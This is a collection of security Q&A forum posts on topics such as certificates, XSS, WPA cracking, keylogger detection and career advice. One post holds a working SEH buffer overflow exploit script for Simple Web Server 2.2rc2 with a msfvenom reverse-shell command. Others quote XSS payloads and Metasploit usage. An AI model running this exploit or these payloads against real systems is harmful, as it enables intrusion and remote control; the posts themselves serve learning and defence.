Jobs Regarding Network Security I am new college graduate from India with no job experience. I have deep interest in Information Security and would like to a work for any good company related to the field. Since I don't have experience no one wants to give me a job. What should I do to get noticed, and a job, by a good company?

Get a job in the IT industry - any job. Work a help desk if you have to because that still counts as experience and experience is what employers really want to see on a resume. Get your foot in the door. I know a lot of people (myself included) who got to where they are because of entry level jobs and working hard to prove their worth.
Get involved in the community - The harsh reality is that your GPA from college doesn't mean anything in the real world. You'll learn ideal circumstances and great foundations, but there is a big difference to how things are done in the real world and how they are done in academia. Chatting in forums and discussion boards is a great way to expand your mind and learn about new technology and techniques.
Network - There is a popular saying in hiring that goes "It's not what you know, it's who you know. Nepotism is huge in the job market so get out there and meet people and prove your skills to them. You'll get to meet new people, get insight from their experiences and hopefully they'll give you a heads up on new job opportunities. Go to trade shows and local events to meet new people and discuss the industry with them.
Look into industry certifications - Employers like to see certifications (MCITP, MCSA, S+, CISSP, the list goes on and on). With your college education you've got a great foundation for getting these certifications. Spend some extra time and money and look into getting certified. You'll learn lots and you'll show employers you're dedicated to your craft.
Volunteer - Yes, not getting paid sucks, but you'll get experience and you'll likely get the tutelage from someone who's been in the industry for a while. Nobody is going to trust the security to a fresh grad with no real world experience (I'm sorry, but it's the truth), but you'll almost always find someone who's willing to take a volunteer. IT staff are overworked, and you may get stuck doing menial tasks but you'll still learn. If you do well you'll likely be considered if a paid job opens up too.


Stack Buffer Overflow using SEH in Simple Web Server 2.2rc2 I am practicing writing exploit for Simple Web Server 2.2rc2.
I was able to:

find proper offset to overwrite SE Handler and Next SEH
find POP,POP,RET address

My problem is that, I can't execute my shell (generated by msfvenom:

  msfvenom --platform windows -a x86 -p windows/shell_reverse_tcp
  LHOST=IP LPORT=80 EXITFUNC=thread -b "\x00\x0a\x0d" -f
  python -v shellcode

I have tried to:

place my code directly after SE Handler
prepend shellcode with stack adjustment
adding nopsled before shellcode

All I see in debugger is that, my shellcode crash app.

Here is my current code:

#!/usr/bin/python

import socket,struct,os

ip = "192.168.123.2"
port = 80

rsp_offset = 2048
seh_offset = 2280
buf_size   = 2400

#shellcode= # generated by msfvenom

buf = ""
buf+= "A" * (rsp_offset-len(buf))
buf+= "BBBB" # EIP
buf+= "C" * (seh_offset-len(buf))
buf+= "\xeb\x07\x90\x90" # Next SEH: JMP +7 to shellcode
buf+= struct.pack("<I", 0x6FC5447E) # POP,POP,RET
buf+= "\x90\x83\xec\x20" # stack adjustment
buf+= shellcode
#buf+= "F" * (buf_size-len(buf))

req = "GET / HTTP/1.1\r\n"
req += "Host: 192.168.122.2\r\n"
req += "Connection:" + buf + "\r\n"
req += "\r\n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.send(req)
s.close()

Can someone give me a hint, what I am doing wrong? App is available here

Are your offsets correct? I had a quick look and I got these offsets when running it through immunity:

[junk, 2260 bytes][Jump to exploit, 4 bytes][pop pop ret, 4 bytes][exploit, 728 bytes]

My python snippet is:

exploit = 'GET / HTTP/1.0\r\n'
exploit += 'Host: 172.16.139.134\r\n'
junk = '\x41' * 2260
jmp = '\xeb\x0b\x90\x90'
ppr = '\x7e\x44\xc5\x6f'
break = '\xcc' * 728
exploit += 'Connection: ' + junk + jmp + ppr + break + '\r\n\r\n'

Ta

Edit: I see that you have debugged and your shell code crashes the app, apologies!


extract from pcap all protocols found I have some pcap files, and i would like just to get a list of protocols that are present on that pcap file. I would like it in a batch mode, not using wireshark

I think tshark is able to do it, but i couldn't find how. any idea?

I think that -Tfields -eframe.protocols would be the closest thing you'll get.
The output looks something like this:

eth:ip:tcp:http
eth:ip:tcp
eth:ip:tcp:http:media
eth:ip:tcp
eth:ip:udp:nbdgm:smb:browser
eth:ip:tcp
eth:arp
eth:arp
eth:ipv6:udp:http
eth:ip:udp:http

As it can be seen the information displayed will vary a bit depending on which protocol dissector gets to play. So you'll need to do some post-processing to cut the parts you don't need and/or dedup (for instance using @Mark's suggestion in the comment).


Could point to point firewall connection rules prevent MiTM I have a linux run as firewall between my PC and the Internet router.

Now, if my Windows PC is infected with Banking Trojan that will eavesdropping any online banking activities and redirect traffics to the attacker control center.

Let say I have an account with Citibank and I know the Citibank online banking web address IP address. Now I go to the firewall and run a script that DENY all connection except Citibank IP address.  I even has Citibank web address and IP set in my windows hosts file.

If I make an online transaction on Citibank website, that will send a Transaction Authentication Number through SMS to confirm the transaction.

In such case, am I safe from Men-in-The-Middle attack with such restricted firewall setting?

Your methods would protect you against the exact scenario you outline but attackers don't have to attack you in the way you specify.  Minor modifications in the way the banking trojan works will leave you vulnerable.

If the trojan just MITM's you directly rather than forwarding you to an external site it can change the details of a legitimate transaction so a simple authentication code sent via SMS won't help.  Also badguys can hijack phone numbers and trojan phones as well.


Any standard tests to prevent hacking? I am very new in programming world so my question may sound weird. I am useing selenium to test an application, yesterday one of my colleagues found this issue that if someone enters this:

<script type="text/javascript"> alert("This is an example of what will happen"); </script>

in a text-box where they are supposed to enter their names it will cause some problems, it's kinda like hacking!!! how can I figure out the same issues? should I be a hacker or there are some standard tests for websites(or applications) to check this kind of problems, especially for log in part?

You could use a scanner to guide you, but you need start with secure coding.  Use a scanner to test for verification after you have implemented the secure coding concepts.  First rule of secure coding is See input as evil.

The first step to not trusting input in a web application is to encode (not filter) all user input.  So, your input example will be HTML encoded to

&lt;script type=&quot;text/javascript&quot;&gt;
alert(&quot;This is an example of what will happen&quot;); &lt;/script&gt;

Which will be interpreted by your browser as text and not as code.

Also see the OWASP Secure coding cheat sheet.


Can attackers steal SSL certificate from server and use it for MITM attacks? I'm writing an iOS app for private use to act as a client for a PHP server. To secure the connection I'm using a self-signed SSL certificate.

Since the server is self-hosted, on the first connection inside my LAN I could be pretty sure that no MITM attacks were happening.
So I saved in a file the certificate that the server sent to the client and then I bundled the downloaded certificate inside my app to check on every connection if the certificate sent by the server and the one bundled in my app were the same (SSL Pinning basically).

I know very little about MITM Attacks and security in general so my question is the following: could an attacker download the certificate (like I did) from my server and use that certificate to pretend to be the server and perform a MITM attack? Or am I misinterpreting the way man-in-the-middle works?

It is not the certificate which matters, but the private key. That one does not leave the server. To impersonate the server, the man in the middle would need to obtain that private key. The certificate itself is public data, and sent by the server to every client who asks for it by simply connecting.

(A Man in the Middle attack is a double impersonation: the attacker poses as the server when talking to the client, as the client when talking to the server. In simple SSL, with no certificate-based client authentication, the client is nominally anonymous, so mounting a successful MitM reduces to running a fake server which the clients accept as genuine. Fat luck with that, if you don't have the server's private key.)


What fraction of web sites are vulnerable? It is known that security vulnerabilities are common on the web: many web sites are vulnerable.  Is there any data on what fraction of web sites are vulnerable, and what fraction are secure?

The most recent study I've seen was back in 2008 by the Web Application Security Consortium [webappsec.org]. The study was compiled from the results of eight separate security assessment projects and had a total sample size of 12186 web applications made up from various industries. The study makes for a very interesting read, but I'll summarize a few of the key points for you here:

There were 97554 detected vulnerabilities of different risk levels.
More than 13% of all reviewed sites can be compromised completely automatically.
About 49% of web applications contain vulnerabilities of high risk level (Urgent and Critical) detected during automatic scanning.
At least 88% of web sites have a serious vulnerability (ranked Urgent, Critical, or High by the PCI-DSS standard).
99% of web applications are not compliant with PCI DSS standard.

Keep in mind these figures are about four years old, and four in internet years is a lifetime (in other words: take them with a grain of salt). That being said, I very much doubt any significant change was made to the percentage of vulnerable sites.

On a slightly related note, if you are interested in other security related statistics, there are two good sites that release reports on a slightly more frequent basis.

One is a DHS sponsored cyber security site [us-cert.gov], whose latest report can be found here (pdf).
Another (which you're probably already familiar with) is the Open Web Application Security Project [owasp.org], whose latest report can be found here.


What if someone steals a Certificate authority's private key? What if someone could steal a Certificate authority's private key? I know this will (probably) never happen, but what would happen to the certificates that were already signed with this private key?

The person could start signing certificate as if he was the CA, but would it cause any harm to the certificates that were already signed with that key?

(Because question was identified as a possible duplicate: the focus of my question is on the fact if this breach would cause harm to the already signed certificates)

If someone steals a CA's certificate signing key, the already signed certificates remain valid. But that doesn't mean they are not harmed. The whole point of certificates is that only a trusted party can produce them, so that when you see a certificate, you can be confident that it is valid and that you're talking to the entity you intended to talk to. If an untrusted party can produce a mathematically valid certificate, then the certificate is not worth the electrons it's written on. This means that all websites (not just the ones who used the CA's legitimate service!) are vulnerable to a man-in-the-middle attack carried out by the attacker (barring partial countermeasures such as certificate pinning). See What are the risks of a Certificate Authority hack for 'the average user'? for more explanations of the consequences of a stolen CA certificate signing key. Basically, not just the certificates emitted by this CA but all certificates are harmed.

To counter this harm, it is necessary to revoke the trust in the compromised key. This means that verifiers — browsers and other TLS clients (and servers, for client certificates) — must stop trusting the compromised key; until this is done no certificate from that CA can be trusted.

Normally, a CA has another key which they can use to revoke certificates. The revocation key should be kept with stringent security measures: unlike the signing key, which is used daily to sign certificates and thus has to be relatively accessible, the revocation key is hardly ever used (only to certify a new signing key or to revoke an existing one), so it can be made hard to access (typically requiring multiple officers of the CA to enter key fragments manually in an offline, physically secure environment). Once the compromised key is revoked and, a one is deployed, and the old certificates are re-signed, the harm is undone. As you can imagine, doing all of this, especially propagating the information to all browsers out there, would take a while, and given that it's an uncommon event, there would undoubtedly be platforms that keep thinking the old CA signing key is valid.

Another more drastic way is to update verifiers to remove the compromised CA from the list of trusted CAs. This solves the problem for certificates that aren't emitted by the compromised CA, but leaves the customers of the compromised CA in a lurch: they need to get another CA to sign a new certificate.

By the way, it has happened before.


XSS using SVG: Is AllowScriptAccess attribute ignored? I was experimenting with some Anti-XSS solutions, and during my research, I found following the XSS vector in a cheatsheet:

<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>

Since the SVG is not loaded as picture, but instead as "embed", its JavaScript content is executed.

I have two questions:

1) Is there a way to disable JavaScript? If I replace "always" with "never", it still executes the JavaScript.

2) I would like to give trusted users the ability to include HTML content to an internal website. I want to give them a lot of freedom, like adding pictures, inserting YouTube videos, maybe even Google Maps iframes and stuff, as long as they don't execute JavaScript. But if I would give them access to the HTML "embed" tags, do I need to worry about JavaScripts/XSS execution?

I believe, the attribute AllowScriptAccess only works in context of Flash-Objects, as referenced here. It does not appear to be part of the embed-tag definition, as these links suggest.

Therefore my answer would be:

No. Not in an embed-tag.
Yes. I would disallow the embed-tag to secure your application.

As suggested in this answer you could also consider to use a different domain for the user content and let the same origin policy aid you.


How to determine what type of encoding/encryption has been used? Is there a way to find what type of encryption/encoding is being used?
For example, I am testing a web application which stores the password in the database in an encrypted format (WeJcFMQ/8+8QJ/w0hHh+0g==). How do I determine what hashing or encryption is being used?

Your example string (WeJcFMQ/8+8QJ/w0hHh+0g==) is Base64 encoding for a sequence of 16 bytes, which do not look like meaningful ASCII or UTF-8. If this is a value stored for password verification (i.e. not really an "encrypted" password, rather a "hashed" password) then this is probably the result of a hash function computed over the password; the one classical hash function with a 128-bit output is MD5. But it could be about anything.

The "normal" way to know that is to look at the application code. Application code is incarnated in a tangible, fat way (executable files on a server, source code somewhere...) which is not, and cannot be, as much protected as a secret key can. So reverse engineering is the "way to go".

Barring reverse engineering, you can make a few experiments to try to make educated guesses:

If the same user "changes" his password but reuses the same, does the stored value changes ? If yes, then part of the value is probably a randomized "salt" or IV (assuming symmetric encryption).
Assuming that the value is deterministic from the password for a given user, if two users choose the same password, does it result in the same stored value ? If no, then the user name is probably part of the computation. You may want to try to compute MD5("username:password") or other similar variants, to see if you get a match.
Is the password length limited ? Namely, if you set a 40-character password and cannot successfully authenticate by typing only the first 39 characters, then this means that all characters are important, and this implies that this really is password hashing, not encryption (the stored value is used to verify a password, but the password cannot be recovered from the stored value alone).


How does external authentication work? For example, I can log in to stackexchange websites by logging in to external websites such as OpenID, Yahoo, etc. How does this work? How do the websites (SE and Yahoo!, for example) communicate? How does Yahoo! know that it's really stackexchange? How does stackexchange know that I have successfully logged in to Yahoo! and it's really Yahoo!? Does stackexchange know if I log out to Yahoo! after I log in here?

In your particular example, StackExchange uses OpenID.  OpenID supports the idea of identity providers -- Yahoo is an Identity Provider, same as Google, MyOpenID, etc.  To log in StackExchange asks you which provider you want to use, and then redirects you to that providers login page.

Once you authenticate against the provider, the provider redirects you back to StackExchange with a token.  This token contains your identity information.  This is generally called Claims Based Authentication, where a Claim is a piece of information about an identity, e.g. your name, and claims are bundled into a token.

Communication is done through HTTP 302 redirects and HTTP POST's all via the user's browser.  Yahoo knows its StackExchange because the Yahoo URL contains a parameter saying it's StackExchange.  StackExchange knows the identity token is from Yahoo because it is signed by Yahoo.

See here: http://openid.net/get-an-openid/what-is-openid/

And here: http://openidexplained.com/


OWASP ZAP FUZZ functionality not highlighted I am a beginner with ZAP. I am trying to use FUZZ logic for the passwords.
But I can see that option when I click on the password at the request table but I am not able to click on it, as it is faint and non clickable.

How do I activate it?

Can't fuzz in Safe Mode. Core help info on modes here: https://github.com/zaproxy/zap-core-help/wiki/HelpStartConceptsModes

  ZAP has a 'mode' which can be:

  Safe - no potentially dangerous operations permitted
  Protected - you can only perform (potentially) dangerous actions on URLs in the Scope
  Standard - as in previous releases, you can do anything
  ATTACK - new nodes that are in Scope are actively scanned as soon as they are discovered

  It is recommended that you use the Protected mode to ensure that you
  only attack sites that you mean to.

  The mode can be changed via the toolbar (or the ZAP API) and is
  persisted between sessions.

  Examples of the things that will not be possible in either Safe mode
  or in Protected mode when not acting on URLs in the Scope:

  Spidering
  Active Scanning
  Fuzzing
  Force Browsing
  Breaking (intercepting)
  Resending requests


keylogger detection by listening network It is known that malware often uses keyloggers. Also some viruses aren't detected by antiviruses, therefore some viruses, especially APTs could stay in a system for so long without any detection. What I think is if I could find out keylogger activities, I could increase the chance of detecting virus or even APT (my real aim is not APT but viruses).

I want a software (or a system) that finds out possible keylogger activities by looking at network traffic. Is there such a software? This software doesn't have to be working real-time, it may be a tool doing daily analysis or even it may be an incident response tool.

A keylogger can send the data it gathers in a lot of ways:

Sent them by email
Encrypt them and send them by email
Upload a file to an FTP/SFTP server
Use HTTP Requests with GET/POST encrypted parameters
Use other protocols to send the data: special crafted DNS requests could be built, that hide the ex-filtrated data in legitimate DNS requests. It can also use reserved bits in packet headers to hide data there.
etc

As you can see, there are a lot of possibilities of sending data and the chances of a certain tool being able to detect all of these possibilities is rather low. This does not mean that using such a tool (like Snort) would not increase your overall level of security.

If you have a certain keylogger you are targeting (and you know how it works), then Snort rules could be created to accomplish your task.


RelativeDistinguishedName allowed SET items According to RFC5280, a subject/issuer Name is a sequence of RelativeDistinguishedName, which in turn in a set of AttributeTypeAndValue (see https://tools.ietf.org/html/rfc5280#section-4.1.2.4).

There is no doubt that (RFC2253 notation) these Names are valid:

Single value RDNs, repeating Type OID: CN=A,CN=B

Multivalue RDNs with separate type OIDs: CN=A+OU=B

But is my interpretation correct, that (RFC2253 notation) this Names would also be valid:

Multivalue RDNs with repeated type OID: CN=A+CN=B

But this one would not be:

Multivalue RDNs with repeated (type OID and value): CN=A+CN=A

My initial assumtion would have been that within any RDN every type OID may occur at most once (giving it a dictionary syntax), and I remember having that read somewhere, but am unable to find the reference again. From the pure syntax, it appears that "CN=A+CN=B" seems permissible.

CN=A+CN=A is legal, too.  ITU-T X.680 (2015/08) says, for SET OF (28.3)

  NOTE 1 – Semantic significance should not be placed on the order of these values.

  NOTE 2 – Encoding rules are not required to preserve the order of these values.

  NOTE 3 – The set-of type is not a mathematical set of values, thus, as an example, for SET OF INTEGER the values { 1 } and { 1 1 } are distinct.

(emphasis mine)

Note #1 says that CN=A+CN=B is the same as CN=B+CN=A.  Since X.509 public key certificates say that their encoding uses the Distinguished Encoding Rule set (DER) the latter won't be found, because DER requires that the set be sorted (using sorting rules that are not obvious without looking at the encoded data).

Without any qualifying statement in the specification (that any given OID cannot have more than one appearance in the SET OF) there's nothing preventing redefintion, or duplicates.  X.509 doesn't have any such statements.

But, for what it's worth, multi-value RDNs are pretty rare in X.509 public key certificates.


Metaploit: Exploits and its relevant payload How can I find out what payload(s) can be use/executed along with an exploit?

For example, I can use an exploit called exploit/windows/smb/ms08_067_netapi. Right after that I set the payload to windows/adduser. What other payload can I use here. How can I find out this information or is there a specific command in Metasploit that I can run to figure this out?

I am not asking specifically for the ms08_067_netapi exploit.

Thank you

If you check also here you can see that when you are 'inside' the exploit you want to use by hitting 'show payloads' it gives you back the compatible payloads with that exploit.


Are there strong technical reasons for browsers mandating TLS for http2? I realise there are similar questions around this topic, however, I think this is sufficiently different/focused not to be a duplicate. I hope it doesn't sound like a soapbox piece.

HTTP/2 effectively mandates TLS, since there isn't a mainstream browser implementation supporting h2c.

Whilst the aims of the "SSL everywhere" movement seems reasonable, I'm unconvinced. I'm concerned that in practice, it will make the web less secure whilst creating the illusion of security.

In many parts of the western world, bandwidth exists in sufficient quantities for local caching to be overlooked as a concern, it certainly isn't universal - indeed, reliable connectivity is an issue in some locations, and a caching proxy is an appealing solution.

TLS proxies already exist that can be used to mitigate this, provided someone is willing to install a root CA to accept re-signed content. Some corporate desktops do this as part of a standard build. Forcing TLS on web users will encourage this practice.

There will also be cases where in lieu of installing a root CA, users will become accustomed to accepting self-signed or suspicious certificates, potentially to a level where it becomes automatic even for sites that really shouldn't have this issue.

There's a psychological impact to churning out the message that "this site is secure" - it predisposes users to think that if they can see a secure padlock/green tick/whatever then they don't need to concern themselves with what information they're sharing, and why - legitimate sites can be hacked, less reputable ones can get SSL certificates, and if there isn't at least one intelligence agency or organised crime cartel that has a copy of a real root CA cert, then I'm a teapot.

I'm hoping you can convince me I'm wrong; are there strong technical reasons for browsers mandating TLS for http2?

Afterthought
Whilst I fully appreciate the concerns raised by the NSA and GCHQ getting caught spying on popular web-based email and social media platforms, it bemuses me that platforms run by multinational corporations are seen as more trustworthy - some, if not all, of them, are gathering intelligence - rebranded and justified by targetted advertising.

There as some definitely technical reasons for having http2 only use tls. As a starting point:

Negotiation speed - without tls the upgrade negotiation is done as an additional http request so there are extra round trips. With tls this is done as part of the tls negotiation, from tls 1.3 this could be a single round trip.
Proxies - when using plain text many internet proxies can get in the way, badly configured proxies are likely to cause problems if they dont understand http2. With tls this is avoid, nothing between the server and client can interfere.

Maybe this is more I've not remembered right now. And this avoid talking about your more general points for wider tls usage.

Using tls everywhere is unlikely to result in more use of self-signed certificates, no self respecting site is going to use one, you are always going to lose customers and anyway services such as lets encrypt make it trivial to use a trusted certificate.
Caching, is already often limited to service controlled caches, the use of more and more tls is unlikely to have a large effect on that. As more and more sites make use of CDNs proxies have become less relevant.


Is the windows root trust store used by IE? With the Symantec-Google drama, it would help to know if the Internet Explorer browser has its own root trust store built in to the browser, or uses the automatically updating Windows System root trust.

There are a few root trust certificates that come with Windows no matter what, but the rest rely on Windows Update.

That is, if I disabled Windows update, would IE still be able to update its stored root trust?

IE uses the Windows root trust list.  It's not compiled into the kernel, per se, but it's installed into the SYSTEM registry hive.

It also does not have any means of updating the stored trust list independently.

Update 2017-07-16: Per http://netsekure.org/2011/04/automatic-ca-root-certificate-updates-on-windows/ , Internet Explorer's reliance on CryptoAPI (which calls into components with privileged access) means that CryptoAPI can and does update roots, on at least some versions of Windows.

(And if you disable Windows Update and have no other patch management procedure, you're going to have a Bad Time.)


What security attacks is my simple cart system open to? I'm putting together a simple site with a basic checkout process. I am using laravel 5.2. When a user makes a visit, the applications checks to see if a cookie is planted with a cookie hash id - the hash is 70 chars long. If there is a cookie, the cart hash is searched for in the database and if found, pulled for the user. If the hash doesn't exist, the cookie is deleted.

If no cookie exists, a new cart is created, stored in teh db, and the hash is stored in a cookie.

A cart contains an array of cart products. A cart product contains a unique hash itself.

Cart Products are added to the cart via a route, which contains the product id, and products are removed from the cart by a route which contains the cart item hash.

This is currently on a non-ssl domain.

Is this basic part of the system open to attacks I should be concerned about?

As the commenters have pointed out, you've got some essential work to do (move everything to HTTPS, make the cookies Secure and probably also HttpOnly, etc.) and should avoid reinventing the wheel if possible. Also, you're at risk of all kinds of standard web application security vulnerabilities (cross-site scripting, cross-site request forgery, clickjacking, SSL stripping, etc.); you'll need to be careful of those.

A few specific issues that jump out at me while reading your description:

SQL injection. If you're looking up the cookie value in a database, that's an obvious injection vector. Use parameterized queries / stored procedures, or at least make very damn sure you validate the cookie's contents before checking the database (don't rely on sanitizing/escaping the cookie; better to just drop it on the floor if it is even slightly incorrectly formed).
Token prediction. You describe the cookie value as a hash (though I'm not aware of any hash function with a 70-character digest even in hex encoding); what are you hashing? Is it something that an attacker might be able to predict, like some combination of constant values and maybe a sequentially-increasing ID value or the like? If two people have the same things in their cart, are their cookie values the same? If not, what distinguishes them?
Session fixation / cookie planting. If cookies are used to identify carts (rather than users with payment methods), an attacker could try to add items that the attacker is selling to other peoples' carts, by figuring out what the hash for (for example) a cart with 10 AttackerThings in it is, and then putting that cookie on as many users as possible. Some of them may make their purchase without looking closely at what-all they're buying, causing them to overspend and give the extra (via your store) to the attacker.

Web apps are, unfortunately, really easy to get wrong. Languages like PHP make it easy to develop a web app but don't help secure it (indeed, the PHP language is notorious for all the insecure web apps written by people who think learning PHP means they know everything they need about how to write web apps). Good for you, thinking about security at this point, but you need a lot more than just having the basic business logic be secure.


What does the browser keep, the CA copy or CA public key? I am trying to understand how certificates works in cryptography. I have seen in my browser that is has a list of trusted certificates already. For example, when I want to connect with a secure server, I'll receive a server certificate during handshake comprising its public key and signature. As far I understood, browser uses CA's public key to decrypt the signatures of server certificate and then compare the hash of the contents. if it matches, certificate is considered legitimate. Now the questions is;

Q: If browser uses public key of CA, why does It keep complete certificate? and how browser decrypt key from CA certificate? isn't encrypted?

If browser uses public key of CA, why does It keep complete certificate?

When creating the trust chain from the servers leaf certificate to the local root CA certificate the browser the next certificate in the chain is found by looking for a certificate where the subject matches the issuer of the last certificate in the chain. Therefore it is not enough to only have the public key of the root but one needs also the subject of the root certificate.

  and how browser decrypt key from CA certificate? isn't encrypted?

No, the certificate is not encrypted and contains the public key in clear. The main idea of public key cryptography is that the public key is is public and only the private key needs to be secret. Therefore the public key can be contained in clear in the certificate.


How To give someone a shell in my local net without security risks? I have a server A in my local network in my house. I want to allow someone to come to that server using a reverse ssh connection from my server to his server from which he can get to my server. I don't want him to be able to get inside my local net and be able to login on any other computer else than the server I give him. Of course I don't want him to be able to install any root kits or ruin my systems and server in a way that I can't get it back. Is it possible that I give him an empty home directory to work within that directory with python and twitter API And vim and also be able to monitor his own processes and their resources and be able to kill his own processes. But not be able to go anywhere outside that directory or install things or discover my local network? Also I want to know if logging all of his activity with pam is reliable.

My only requirement for the user is:
being able to use vim,
interactive python3 session (the user only needs a handful of safe libraries),
running python3 codes (the user only needs a handful of safe libraries),
and be able to use all the bandwidth(to twitter website only), cpu(aal cores), and memory resources of the server.

... give someone a shell in my local net without security risks?

Dont

Instead of attempting to restrict shell access of this user I would recommend a completely different approach.

Purchase a second router
plug the internet of the new router to reg port of your existing router
port-forward port 22 from existing router to new router
port-forward port 22 from new router to server
setup SSH access for this un-trusted user on the server
restrict the server to twitter / developer / your external ip via the new router

this method is much safer / more reliable than a reverse shell
this method allows the developer to use your external connection without having access to anything on your network (as long as he isnt able to exploit the new-router ... and you can monitor his traffic to make sure he isnt attempting to hack it)
this method doesn't require any standing on head while patting belling to lock down a development environment while still allowing developer to do his job.

That being said, if you have existing stuff on the server that you want to protect from this user ... I would do a full clone of the server's hard-drive before letting them have access ... and then wipe it and restore from backup once they are done.

Physical access is root access, and while you are not technically giving this developer physical access ... shell access is pretty close to the same thing.  If a hacker obtains shell access to an unprivileged user ... its common practice to nuke from orbit ... only way to be sure.


SFTP -What is Public Key is Duplicated on another server I have an SFTP server. My ServerA wants to send a file to SFTP server, and i was told that ServerA public key needs to stored on SFTP server for Authentication purposes.

My question is, if the public key of ServerA gets installed into another server by an internal attacker, and if somehow he also points ServerA to another hacked SFTPServer- the file would potentially land into the hacked SFTPserver.

Is this not a security risk?

Underneath the hood SFTP uses SSH but the same principles apply.

Generally, it is impossible to derive the public key from the private key. Hence we're allowed to share/publish the public key without any fear of the private key being compromised. You will use your Private Key to authenticate yourself to ServerA, and ServerA uses your pre-loaded publickey to ensure it really is you.

However, to answer your question, You will also authenticate serverA by checking its SSH key fingerprint. Basically the first time you connect to ServerA, you'll be prompted to save its SSH key fingerprint (which is a hash of serverA's public key). This will be saved locally on whatever client application you're using.

If someone managed to copy your public key -- and someone manage to hijack the dns/ip of serverA, and route all traffic from you to it -- you'd still be warned that the servers underlying public key has changed, and you should proceed cautiously. You might think "well what if the hacked serverA and got it's public key as well"

If they hacked serverA to the point where they could get the public/private key pair of the server -- they most probably already have access to your files as well :)


How to disable the use of HTTP verb tunneling using HTTP headers or query parameters? The attacker request uses a trusted HTTP verb such as GET or POST, but adds request headers such as X-HTTP-Method, XHTTP-Method-Override,
X-Method-Override, or a query parameter such as _method to provide a restricted verb such as PUT or DELETE. Such a request is interpreted by the target application using the verb in the request header instead of the actual
HTTP verb.

What I figured out to restrict this is to add the following entries in web.xml:

<security-constraint>
    <web-resource-collection>
        <web-resource-name>WhiteList_Http_Verbs</web-resource-name>
        <url-pattern>/*</url-pattern>
        <http-method-omission>GET</http-method-omission>
        <http-method-omission>POST</http-method-omission>
    </web-resource-collection>
    <auth-constraint/>
</security-constraint>

According to these entries my application only allows GET and POST requests for all URL patterns and it restrict all other HTTP methods.

The security constraint will apply to all methods except those that were named in the omissions, and the constraint will apply only to the resources matched by the patterns in the constraint.

My questions:

In this case, is it going to prevent method/verb HEAD through special request headers above?
Will these entries disable the use of verb tunneling using headers such as X-HTTP-Method, XHTTP-Method-Override?
Or if this is not appropriate fix, then what should we do to prevent this issue?

The example configuration should block the use of the HEAD verb, assuming that the server which has this configuration is receiving the verb at all (e.g. if you have a weird proxy setup which fakes HEAD requests by making a GET call, then dropping the body, it won't have any effect).
No, other headers will still be present - the server doesn't know that the other headers are treated as verbs by the application. If you want to prevent the use of other methods passed in this way, the best option is probably to remove the headers which the application can interpret as HTTP verbs. Depending on the application, this may break some functionality - I've seen applications which use this method of passing verbs for delete functions, or to allow modifications to records.

From your description, it sounds like the problem lies not in the use of HTTP verbs, but in how the application allows the actions they relate to to be performed, possibly with inappropriate permissions. It's hard to say without further knowledge about your application, but blocking a specific method of performing an action is likely to be less effective than blocking the action itself, within the application, unless appropriate authorisation is supplied.


Is brute-forcing the only way to crack WPA? I don't know much about how WPA algorithms work internally. Is brute-forcing an AP the only way to crack WPA? (or to get associated with AP)

Another question is about Reaver-WPS, what if an access point doesn't support WPS, or is disabled? Will Reaver work on such AP

WPA can be used with different protocols. Using WPA-TKIP, there are alternative attacks than the common handshake-bruteforce, but those will not grant you access to the AP. These attacks focus on RC4 weaknesses (similar to WEP, but far less effective due to successful countermeasures).

I assume that you want to acces an AP. In this case, bruteforcing is the only possible way to crack WPA. You capture a handshake between client and accesspoint, and perform the challenge-response yourself with different passwords, until your result matches the one you captured.

This can be sped up by using rainbow-tables, although you will have to find a target using a popular SSID in order to have an existing rainbow table.

Thus, to protect against intruders, you should choose an uncommon SSID along with a fairly long and complex password.

And no, you can not attack WPS when WPS is disabled or not supported. There may be bugs preventing a user from disabling WPS, but i consider these APs WPS-enabled.


What is really wireless sniffing, and how can this attack damage someone I guess that this is a dumb question, but i really thought for a longtime that the wireless sniffing attack consists of listening to all the packets that get over the air, but apparently it isn't that, cause no matter how I try, i can only see my traffic with wireshark (even in promiscuous mode).

So what is the wireless sniffing attack, how is it done, and what is the damage that it can do.

PS : I've tried wireshark both on Ubuntu 15.10 (with Linux version > 4), and on Windows 7.

So what is the wireless sniffing attack

It is capturing packets (recording some traffic) that traverse your wireless network, without you knowing about it.

  how is it done

You need a network card that supports monitor mode, an OS and version that properly supports delivering traffic captured in monitor mode, and drivers that properly support it.  Linux is your best bet here.

In this mode, your wireless card will receive packets without having to be associated to an AP.  It will capture all traffic it hears on a given Wifi channel.  Other STAs or APs won't know this is happening.

This is different than promiscuous mode - a wireless NIC has to be associated before promiscuous mode will work.  Monitor mode has no such requirement.

  what is the damage that it can do

Collect valid MAC addresses to bypass SSID hiding.
Passively and undetectably collect data needed to break WEP/WPA (not WPA2) encryption.
Receive all data transmitted/received on open networks/networks without encryption, with the ability to read any plaintext information.


How is the bitcoin block header data padded for SHA256 hashing? I see that a block contains 80 bytes. SHA256 expects integral multiples of 64 bytes as input. How are the remaining 48 bytes calculated?

According to section 5.1.1 of FIPS-180-4, SHA-256 messages are padded with a binary 1, followed by a number of 0s, and finally a 64-bit binary representation of the length of the message:

Suppose that the length of the message, M, is  bits. Append the bit "1" to the
end of the message, followed by k zero bits, where k is the smallest, non-
negative solution to the equation  + 1 + k ≡ 448 mod 512. Then append the 64-bit
block that is equal to the number  expressed using a binary representation.

This is not specific to Bitcoin, and any correct SHA-256 implementation will do this. For Bitcoin, a remaining 48 bytes of padding would be a single binary 1, a bunch of 0s, and the binary representation of the number 640 (80 bytes in bits). In binary, the remaining 48 bytes would be:

1 00...00 0110 0100 0000

Note that the SHA family of functions represent binary in big-endian format.


How to stop the flood of spam? I have a website on MS Azure and for the past two months, I've been getting mass amount of requests from Russia spamming my site and logs with non-sense and pro-Trump garbage. Based on what I read, I'm not the only site with this issue. Google Analytics shows almost half of the requests to my site are spam on a daily bases from the same source.

